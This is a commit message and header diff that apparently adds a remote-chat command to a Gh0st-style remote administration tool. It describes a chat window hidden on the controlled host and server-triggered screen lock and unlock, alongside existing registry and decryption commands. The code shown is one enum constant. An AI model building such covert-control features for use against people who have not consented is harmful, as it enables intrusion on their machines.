Feature: Two-way remote chat (远程交谈)

Add a "远程交谈" toolbar button (placed after 连接管理) that sends COMMAND_CHAT(161) to the selected host. The host opens a sub-connection and the new CChatManager replies with TOKEN_CHAT_START(62) to open the server's existing CChat dialog. The host's chat window stays hidden until the first message or a screen-lock command arrives, and it supports server-triggered screen lock/unlock.

Co-Authored-By: deepseek-v4-pro

common/commands.h

@@ -320,6 +320,8 @@ enum {
     COMMAND_QUERY_ACTIVITY = 159,   // 服务端 → 客户端：索取历史活动
     TOKEN_REPORT_ACTIVITY = 160,    // 客户端 → 服务端：上报历史活动
     
+    COMMAND_CHAT = 161,             // 服务端 → 客户端：发起远程交谈（双向聊天）
+
     TOKEN_DECRYPT = 199,
     TOKEN_REGEDIT = 200,            // 注册表
     COMMAND_REG_FIND,				// 注册表 管理标识